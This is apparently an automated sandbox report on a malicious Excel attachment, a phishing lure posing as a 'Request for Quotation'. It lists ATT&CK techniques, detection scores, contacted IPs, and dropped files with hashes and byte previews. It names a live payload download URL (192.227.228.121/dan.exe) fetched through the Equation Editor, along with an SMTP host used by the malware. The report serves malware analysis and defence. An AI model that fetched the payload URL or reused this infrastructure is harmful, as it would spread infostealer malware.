Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Software Packing2	NTDS	Security Software Discovery211	Distributed Component Object Model	Input Capture	Scheduled Transfer	Non-Application Layer Protocol2	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Masquerading111	LSA Secrets	Process Discovery2	SSH	Keylogging	Data Transfer Size Limits	Application Layer Protocol32	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Virtualization/Sandbox Evasion131	Cached Domain Credentials	Virtualization/Sandbox Evasion131	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Process Injection112	DCSync	Application Window Discovery1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	Remote System Discovery1	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Request for Quotation (RFQ).xlsx	31%	Metadefender		Browse
Request for Quotation (RFQ).xlsx	35%	ReversingLabs	Document-Office.Exploit.Heuristic

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
5.2.vbc.exe.400000.1.unpack	100%	Avira	HEUR/AGEN.1138205		Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://crt.sectigo.com/SectigoRSADomainValidationSecureServerCA.crt0#	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoRSADomainValidationSecureServerCA.crt0#	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoRSADomainValidationSecureServerCA.crt0#	0%	URL Reputation	safe
http://127.0.0.1:HTTP/1.1	0%	Avira URL Cloud	safe
http://DynDns.comDynDNS	0%	URL Reputation	safe
http://DynDns.comDynDNS	0%	URL Reputation	safe
http://DynDns.comDynDNS	0%	URL Reputation	safe
http://DPosyL.com	0%	Avira URL Cloud	safe
https://sectigo.com/CPS0	0%	URL Reputation	safe
https://sectigo.com/CPS0	0%	URL Reputation	safe
https://sectigo.com/CPS0	0%	URL Reputation	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha	0%	URL Reputation	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha	0%	URL Reputation	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha	0%	URL Reputation	safe
http://ocsp.entrust.net03	0%	URL Reputation	safe
http://ocsp.entrust.net03	0%	URL Reputation	safe
http://ocsp.entrust.net03	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
http://MzDfYxjI5Zul5lFh.org	0%	Avira URL Cloud	safe
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	0%	URL Reputation	safe
http://ocsp.sectigo.com0A	0%	URL Reputation	safe
http://ocsp.sectigo.com0A	0%	URL Reputation	safe
http://ocsp.sectigo.com0A	0%	URL Reputation	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://ocsp.entrust.net0D	0%	URL Reputation	safe
http://ocsp.entrust.net0D	0%	URL Reputation	safe
http://ocsp.entrust.net0D	0%	URL Reputation	safe
http://192.227.228.121/dan.exe	0%	Avira URL Cloud	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip	0%	URL Reputation	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip	0%	URL Reputation	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip	0%	URL Reputation	safe
http://servername/isapibackend.dll	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
us2.smtp.mailhostbox.com	208.91.198.143	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://192.227.228.121/dan.exe	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crt.sectigo.com/SectigoRSADomainValidationSecureServerCA.crt0#	vbc.exe, 00000005.00000002.2352657188.0000000005150000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://127.0.0.1:HTTP/1.1	vbc.exe, 00000005.00000002.2351315901.0000000002291000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
http://DynDns.comDynDNS	vbc.exe, 00000005.00000002.2351315901.0000000002291000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://DPosyL.com	vbc.exe, 00000005.00000002.2351315901.0000000002291000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://sectigo.com/CPS0	vbc.exe, 00000005.00000002.2352657188.0000000005150000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://crl.entrust.net/server1.crl0	vbc.exe, 00000005.00000002.2352657188.0000000005150000.00000004.00000001.sdmp	false		high
http://us2.smtp.mailhostbox.com	vbc.exe, 00000005.00000002.2351519000.00000000023CA000.00000004.00000001.sdmp	false		high
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha	vbc.exe, 00000005.00000002.2351315901.0000000002291000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://ocsp.entrust.net03	vbc.exe, 00000005.00000002.2352657188.0000000005150000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	vbc.exe, 00000005.00000002.2352657188.0000000005150000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.diginotar.nl/cps/pkioverheid0	vbc.exe, 00000005.00000002.2352657188.0000000005150000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://github.com/georgw777/MediaManager	vbc.exe	false		high
https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/css/bootstrap.min.css	vbc.exe, 00000004.00000002.2140372454.00000000021B6000.00000004.00000001.sdmp	false		high
https://github.com/georgw777/MediaManager;https://github.com/georgw777/	vbc.exe, 00000004.00000002.2140067412.0000000000902000.00000020.00020000.sdmp, vbc.exe, 00000005.00000000.2139065825.0000000000902000.00000020.00020000.sdmp, vbc.exe.2.dr	false		high
http://MzDfYxjI5Zul5lFh.org	vbc.exe, 00000005.00000002.2351581799.00000000023F0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	vbc.exe, 00000005.00000002.2352657188.0000000005150000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.	vbc.exe, 00000005.00000002.2353179521.0000000005CB0000.00000002.00000001.sdmp	false		high
http://www.day.com/dam/1.0	6A8387D5.emf.0.dr	false		high
http://ocsp.sectigo.com0A	vbc.exe, 00000005.00000002.2352657188.0000000005150000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.%s.comPA	vbc.exe, 00000005.00000002.2353179521.0000000005CB0000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	low
http://ocsp.entrust.net0D	vbc.exe, 00000005.00000002.2352657188.0000000005150000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	vbc.exe, 00000004.00000002.2140354304.0000000002191000.00000004.00000001.sdmp	false		high
https://secure.comodo.com/CPS0	vbc.exe, 00000005.00000002.2352657188.0000000005150000.00000004.00000001.sdmp	false		high
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip	vbc.exe, 00000004.00000002.2140883462.0000000003199000.00000004.00000001.sdmp, vbc.exe, 00000005.00000002.2350857506.0000000000402000.00000040.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://servername/isapibackend.dll	vbc.exe, 00000005.00000002.2354088257.0000000006E60000.00000002.00000001.sdmp	false	Avira URL Cloud: safe	low
http://crl.entrust.net/2048ca.crl0	vbc.exe, 00000005.00000002.2352657188.0000000005150000.00000004.00000001.sdmp	false		high
https://github.com/georgw777/	vbc.exe	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
208.91.198.143	us2.smtp.mailhostbox.com	United States		394695	PUBLIC-DOMAIN-REGISTRYUS	false
192.227.228.121	unknown	United States		36352	AS-COLOCROSSINGUS	true

General Information

Joe Sandbox Version:	32.0.0 Black Diamond
Analysis ID:	435319
Start date:	16.06.2021
Start time:	12:13:16
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 8m 25s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	Request for Quotation (RFQ).xlsx
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winXLSX@6/18@1/2
EGA Information:	Failed
HDC Information:	Successful, ratio: 2.4% (good quality ratio 1.7%) Quality average: 55.4% Quality standard deviation: 40.9%
HCA Information:	Successful, ratio: 93% Number of executed functions: 158 Number of non-executed functions: 38
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .xlsx Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer
Warnings:	Show All Exclude process from analysis (whitelisted): dllhost.exe Excluded IPs from analysis (whitelisted): 205.185.216.10, 205.185.216.42, 173.222.108.226, 173.222.108.210 Excluded domains from analysis (whitelisted): au.download.windowsupdate.com.edgesuite.net, audownload.windowsupdate.nsatc.net, au.download.windowsupdate.com.hwcdn.net, ctldl.windowsupdate.com, cds.d2s7q6s2.hwcdn.net, a767.dscg3.akamai.net, au-bg-shim.trafficmanager.net Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtQueryValueKey calls found. VT rate limit hit for: /opt/package/joesandbox/database/analysis/435319/sample/Request for Quotation (RFQ).xlsx

Simulations

Behavior and APIs

Time	Type	Description
12:14:01	API Interceptor	59x Sleep call for process: EQNEDT32.EXE modified
12:14:03	API Interceptor	960x Sleep call for process: vbc.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
208.91.198.143	RFQ-566888787.exe	Get hash	malicious	Browse
	mRfakcKuzY.exe	Get hash	malicious	Browse
	New Inquiry 20216013.exe	Get hash	malicious	Browse
	xZMUq36tQv.exe	Get hash	malicious	Browse
	QUOTE.exe	Get hash	malicious	Browse
	ORGINAL SHIPPING DOCUMENT.exe	Get hash	malicious	Browse
	dan.exe	Get hash	malicious	Browse
	PO#61420.exe	Get hash	malicious	Browse
	Request.exe	Get hash	malicious	Browse
	Payment Advice.exe	Get hash	malicious	Browse
	Recibo de banco.exe	Get hash	malicious	Browse
	KC8ZMn81JC.exe	Get hash	malicious	Browse
	Urgent Contract Order GH7856648,pdf.exe	Get hash	malicious	Browse
	NEW ORDER 112888#.exe	Get hash	malicious	Browse
	SecuriteInfo.com.MachineLearning.Anomalous.97.15449.exe	Get hash	malicious	Browse
	lFccIK78FD.exe	Get hash	malicious	Browse
	MOQ FOB ORDER.exe	Get hash	malicious	Browse
	JK6Ul6IKioPWJ6Y.exe	Get hash	malicious	Browse
	SecuriteInfo.com.Trojan.PackedNET.832.15445.exe	Get hash	malicious	Browse
	Urgent Contract Order GH7856648,pdf.exe	Get hash	malicious	Browse
192.227.228.121	pago.xlsx	Get hash	malicious	Browse	192.227.228.121/ewak.exe
	order 4806125050.xlsx	Get hash	malicious	Browse	192.227.228.121/mpa.exe
	PO -TXGU5022187.xlsx	Get hash	malicious	Browse	192.227.228.121/razi.exe
	Naro#U010dite 5039066002128.xlsx	Get hash	malicious	Browse	192.227.228.121/ewaa.exe
	e#U03c2.xlsx	Get hash	malicious	Browse	192.227.228.121/ewa.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
us2.smtp.mailhostbox.com	#U65b0#U8a02#U55ae_WJO-001.pdf.exe	Get hash	malicious	Browse	208.91.199.223
	Yeni sipari#U015f _WJO-001,pdf.exe	Get hash	malicious	Browse	208.91.199.224
	F27XTbEl5F.exe	Get hash	malicious	Browse	208.91.199.225
	RFQ-566888787.exe	Get hash	malicious	Browse	208.91.198.143
	RDLIBUzalu.exe	Get hash	malicious	Browse	208.91.199.225
	doc202124050032.exe	Get hash	malicious	Browse	208.91.199.225
	mRfakcKuzY.exe	Get hash	malicious	Browse	208.91.198.143
	New Inquiry 20216013.exe	Get hash	malicious	Browse	208.91.199.223
	xZMUq36tQv.exe	Get hash	malicious	Browse	208.91.198.143
	QUOTE.exe	Get hash	malicious	Browse	208.91.198.143
	K4e3iPVjUU.exe	Get hash	malicious	Browse	208.91.199.223
	ORGINAL SHIPPING DOCUMENT.exe	Get hash	malicious	Browse	208.91.198.143
	SugVz0cZPXagh2b.exe	Get hash	malicious	Browse	208.91.199.224
	dan.exe	Get hash	malicious	Browse	208.91.198.143
	PO#61420.exe	Get hash	malicious	Browse	208.91.198.143
	lista di spesa&fattura_pdf________________________________.exe	Get hash	malicious	Browse	208.91.199.225
	SX-L21182 #U9ece#U5df4#U5ae9EST new order.xlsx	Get hash	malicious	Browse	208.91.198.143
	Request.exe	Get hash	malicious	Browse	208.91.199.224
	fpccHIAWusmio6a.exe	Get hash	malicious	Browse	208.91.199.225
	Shipping document AWB 80258723268765pdf.exe	Get hash	malicious	Browse	208.91.199.225

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
PUBLIC-DOMAIN-REGISTRYUS	Poczta Polska Informacje o transakcjach2021.exe	Get hash	malicious	Browse	103.50.162.153
	#U65b0#U8a02#U55ae_WJO-001.pdf.exe	Get hash	malicious	Browse	208.91.199.223
	SWIFT Msg of USD 78,000.exe	Get hash	malicious	Browse	43.225.55.205
	Yeni sipari#U015f _WJO-001,pdf.exe	Get hash	malicious	Browse	208.91.199.224
	F27XTbEl5F.exe	Get hash	malicious	Browse	208.91.199.225
	hG6FzLXtsf.xls	Get hash	malicious	Browse	119.18.54.94
	RFQ-566888787.exe	Get hash	malicious	Browse	208.91.199.225
	RDLIBUzalu.exe	Get hash	malicious	Browse	208.91.199.225
	P0fhg2Duqa.xls	Get hash	malicious	Browse	207.174.213.181
	doc202124050032.exe	Get hash	malicious	Browse	208.91.199.225
	mRfakcKuzY.exe	Get hash	malicious	Browse	208.91.198.143
	New Inquiry 20216013.exe	Get hash	malicious	Browse	208.91.199.223
	xZMUq36tQv.exe	Get hash	malicious	Browse	208.91.199.225
	tender-461487493.xlsb	Get hash	malicious	Browse	103.53.42.17
	QUOTE.exe	Get hash	malicious	Browse	208.91.198.143
	K4e3iPVjUU.exe	Get hash	malicious	Browse	208.91.199.223
	ORGINAL SHIPPING DOCUMENT.exe	Get hash	malicious	Browse	208.91.198.143
	SugVz0cZPXagh2b.exe	Get hash	malicious	Browse	208.91.199.224
	dan.exe	Get hash	malicious	Browse	208.91.198.143
	PO#61420.exe	Get hash	malicious	Browse	208.91.198.143

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 Download File
Process:	C:\Users\Public\vbc.exe
File Type:	Microsoft Cabinet archive data, 60080 bytes, 1 file
Category:	dropped
Size (bytes):	60080
Entropy (8bit):	7.995256720209506
Encrypted:	true
SSDEEP:	768:O78wIEbt8Rc7GHyP7zpxeiB9jTs6cX8ENclXVbFYYDceSKZyhRhbzfgtEnz9BPNZ:A8Rc7GHyhUHsVNPOlhbz2E5BPNiUu+g4
MD5:	6045BACCF49E1EBA0E674945311A06E6
SHA1:	379C6234849EECEDE26FAD192C2EE59E0F0221CB
SHA-256:	65830A65CB913BEE83258E4AC3E140FAF131E7EB084D39F7020C7ACC825B0A58
SHA-512:	DA32AF6A730884E73956E4EB6BFF61A1326B3EF8BA0A213B5B4AAD6DE4FBD471B3550B6AC2110F1D0B2091E33C70D44E498F897376F8E1998B1D2AFAC789ABEB
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	MSCF............,...................I........d.........R9b .authroot.stl.3..).4..CK..8T....c_.d....A.K...].M$[v.4.)7-.%.QIR..$t)Kd.-[..T\{..ne.....{..<.......Ab.<..X....sb.....e........dbu.3...0........X..00&Z....C...p0.}..2..0m.}..Cj.9U..J.j.Y...#.L..\X..O.,...,.qu..]..(B.nE~Q...)..Gcx.....}...f....zw.a..9+[.<0.'..2 .s..ya..J......wd....OO!.s....`.WA...F6._f....6...g..2..7.$,....X.k..&...E...g.....>uv."..!......xc......C..?....P0$.Y..?u....Z0.g3.>W0&.y.(....].`>... ..R.q..wgX......qB!.B....Z.4..>.R.M..0.8...=.8..Ya.s.......add..)..w.4.&.z...2.&74.5]..w.j.._iK..\|\|[.w.M.!<-.}%.C<tDX5\s._..I....nb.....GCQ.V..r..Y.............q...0..V)Tu>.Z..r...I...<.R{Ac..x^. .<A........\|.{.....Q...&....X..C$....e9.:..vI..x.R4...L......%g...<..}'{....E8Sl...E".h...*.........ItVs.K......3.9.l..`D..e.i`....y...,..5....aSs`..W...d...t.J..]....'u3..d]7..=e....[R!:........Q.%..@........ga.v.~..q....{.!N.b]x..Zx.../;#}.f.)k.c9..{rmPt..z5.m=..q..%.D#<+Ex....1\|.._F.

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 Download File
Process:	C:\Users\Public\vbc.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.107650340985951
Encrypted:	false
SSDEEP:	6:kKn3e8N+SkQlPlEGYRMY9z+4KlDA3RUeWlK1MMx:P38kPlE99SNxAhUe3OMx
MD5:	B55153CD3118FCB84E43CFF2DE69853A
SHA1:	16F4420C0675672CBF2FCEEB8141F0B60AA8190C
SHA-256:	276AA084B48D396865C3AD7DEA8A297553A3567BC4B3D05619AD84B181F1B7C6
SHA-512:	012A13EF743BECE71B4A7293F3BFFC74DC98E2F2DD0F3FED6311AA6337E135CB0D9BA5942A80C5052C721BEDCD9082324639849CC58ED91D77B228CC1356FF1E
Malicious:	false
Reputation:	low
Preview:	p...... ..........v..c..(....................................................... ............L......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".0.9.0.e.6.c.f.e.3.4.c.d.7.1.:.0."...

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\dan[1].exe Download File
Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	downloaded
Size (bytes):	860672
Entropy (8bit):	7.64738851637245
Encrypted:	false
SSDEEP:	12288:lzlgfvquwaHp/S4RxwD4jvcQ8MfHVQViTa7zfl+D6YtW0E:llaquPHpK4R2cj1eVbHfl30
MD5:	E123306FCC7FD3C3BDA8993B4F6C43A2
SHA1:	B9247EC8B7158C490369961D0E5ABEE45C305C9D
SHA-256:	AAB5F4C72AFC1C8F1BEACB75EB3FA27DFD18E6D1E58E6A0C9F28222550C30AF7
SHA-512:	DFD7602656D7E5B3B31360D7A200457502867EEC2ED673288DA882136051A6D1376B2741354B807989E5A298BBB370C54D71573DA82A51C55DC639EBF5B256BB
Malicious:	true
Reputation:	low
IE Cache URL:	http://192.227.228.121/dan.exe
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...`c.`.....................F......N.... ........@.. ....................................@.....................................K........B...................`....................................................... ............... ..H............text...T.... ...................... ..`.rsrc....B.......D..................@..@.reloc.......`....... ..............@..B................0.......H........'..H...........H,..k...........................................j+.&.(....(....(.....o......0..........+.&.+.&. ....8E.....(.... ....(....:/...8.....(.... ....8......(....82... ............E....................1...........H...8,...& ....8......(....(....(....9....& ....8......(.... ....(....:....&...V+.&..(....(....(......V+.&..(....(....(.......+.&....+.&...J+.&.........(.....J+.&.........(.....J+.&.........(.....J+.&.........(......+.&..(....:+.&.....o .

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\1499C3D2.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 476 x 244, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	49744
Entropy (8bit):	7.99056926749243
Encrypted:	true
SSDEEP:	768:wnuJ6p14x3egT1LYye1wBiPaaBsZbkCev17dGOhRkJjsv+gZB/UcVaxZJ2LEz:Yfp1UeWNYF1UiPm+/q1sxZB/ZS
MD5:	63A6CB15B2B8ECD64F1158F5C8FBDCC8
SHA1:	8783B949B93383C2A5AF7369C6EEB9D5DD7A56F6
SHA-256:	AEA49B54BA0E46F19E04BB883DA311518AF3711132E39D3AF143833920CDD232
SHA-512:	BB42A40E6EADF558C2AAE82F5FB60B8D3AC06E669F41B46FCBE65028F02B2E63491DB40E1C6F1B21A830E72EE52586B83A24A055A06C2CCC2D1207C2D5AD6B45
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	.PNG........IHDR..............I.M....IDATx....T.]...G.;..nuww7.s...U..K......Ih....q!i...K....t.'k.W..i..>.......B.....E.0....f.a.....e....++...P..\|..^...L.S}r:..............sM....p..p-..y]...t7'.D)....../...k....pzos.......6;,..H.....U..a..9..1...$.......kI<..\F...$.E....?[B(.9.....H..!.....0AV..g.m...23..C..g(.%...6..>.O.r...L..t1.Q-.bE......)........\|i ..."....V.g.\.G..p..p.X[.....%hyt...@..J...~.p.....\|..>...~.`..E_....iU.G...i.O..r6...iV.....@..........Jte...5Q.P.v;..B.C...m......0.N......q...b.....Q...c.moT.e6OB...p.v"...."........9..G....B}...../m...0g...8......6.$.$]p...9.....Z.a.sr.;B.a....m...>...b..B..K...{...+w?....B3...2...>.......1..-.'.l.p........L....\.K..P.q......?>..fd.`w..y..\|y..,.....i..'&.?.....).e.D ?.06......U.%.2t........6.:..D.B....+~.....M%".fG]b\.[........1....".......GC6.....J.+......r.a...ieZ..j.Y...3..Q*m.r.urb.5@.e.v@@....gsb.{q-..3j........s.f.\|8s$p.?3H......0`..6)...bD....^..+....9..;$...W::.jBH..!tK

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\21A7353E.jpeg Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	gd-jpeg v1.0 (using IJG JPEG v80), quality = 90", baseline, precision 8, 700x990, frames 3
Category:	dropped
Size (bytes):	48770
Entropy (8bit):	7.801842363879827
Encrypted:	false
SSDEEP:	768:uLgWImQ6AMqTeyjskbJeYnriZvApugsiKi7iszQ2rvBZzmFz3/soBqZhsglgDQPT:uLgY4MqTeywVYr+0ugbDTzQ27A3UXsgf
MD5:	AA7A56E6A97FFA9390DA10A2EC0C5805
SHA1:	200A6D7ED9F485DD5A7B9D79B596DE3ECEBD834A
SHA-256:	56B1EDECC9A282A9FAAFD95D4D9844608B1AE5CCC8731F34F8B30B3825734974
SHA-512:	A532FE4C52FED46919003A96B882AE6F7C70A3197AA57BD1E6E917F766729F7C9C1261C36F082FBE891852D083EDB2B5A34B0A325B7C1D96D6E58B0BED6C5782
Malicious:	false
Reputation:	high, very likely benign file
Preview:	......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 90....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..R..(...(...(......3Fh.....(....P.E.P.Gj(...(....Q@.%-...(.......P.QKE.%.........;.R.@.E-...(.......P.QKE.'jZ(...QE..........h...(...QE.&(.KE.'jZ(...QE..........h...(...QE.&(.KE.'jZ(...QE..........h...(...QE.&(.KE.'j^.....(...(...(....w...3Fh....E......4w...h.%...................E./J)(......Z)(......Z)(....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\6A8387D5.emf Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	653280
Entropy (8bit):	2.898661978170601
Encrypted:	false
SSDEEP:	3072:J34UL0tS6WB0JOqFVY5QcARI/McGdAT9kRLFdtSyQu50yknG/qc+5:h4UcLe0JOqQQZR8MDdATCR3tSqjqcS
MD5:	67445CD831AFBE3C8305D57A9F637F06
SHA1:	085ED026956D0E62B61DA7E9708EDF25ABEF691B
SHA-256:	EEBC575A5135E7C0D93E102F85D20998917E4B5D7485F0AB335E6DAAA55C1C37
SHA-512:	CC90BFDA92EF583C65D5CFDB389635B5539945BA51E27AB3F3257F58B5AAD490B6733784FAFC53B8851BAC03B0DCC54797A3722D6E66328F7B1E86590C845C15
Malicious:	false
Preview:	....l...........................m>...!.. EMF........(...............................................\K..hC..F...,... ...EMF+.@..................X...X...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@......................................................%...........%...................................R...p................................@."C.a.l.i.b.r.i......................................................S$......-z.S.@..%.............8......N.T8..0.............N.T8..0.. ....y.S0..8.. .........2..z.S........................................%...X...%...7...................{$..................C.a.l.i.b.r.i..............X...0..d........2...gvdv......%...........%...........%...........!..............................."...........%...........%...........%...........T...T..........................@.E.@............L.......................P... ...6...F...$.......EMF+@..$..........?...........?.........@...........@..........@..$..........?....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\6F569DAB.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 566 x 429, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	84203
Entropy (8bit):	7.979766688932294
Encrypted:	false
SSDEEP:	1536:RrpoeM3WUHO25A8HD3So4lL9jvtO63O2l/Wr9nuQvs+9QvM4PmgZuVHdJ5v3ZK7+:H5YHOhwx4lRTtO6349uQvXJ4PmgZu11J
MD5:	208FD40D2F72D9AED77A86A44782E9E2
SHA1:	216B99E777ED782BDC3BFD1075DB90DFDDABD20F
SHA-256:	CBFDB963E074C150190C93796163F3889165BF4471CA77C39E756CF3F6F703FF
SHA-512:	7BCE80FFA8B0707E4598639023876286B6371AE465A9365FA21D2C01405AB090517C448514880713CA22875013074DB9D5ED8DA93C223F265C179CFADA609A64
Malicious:	false
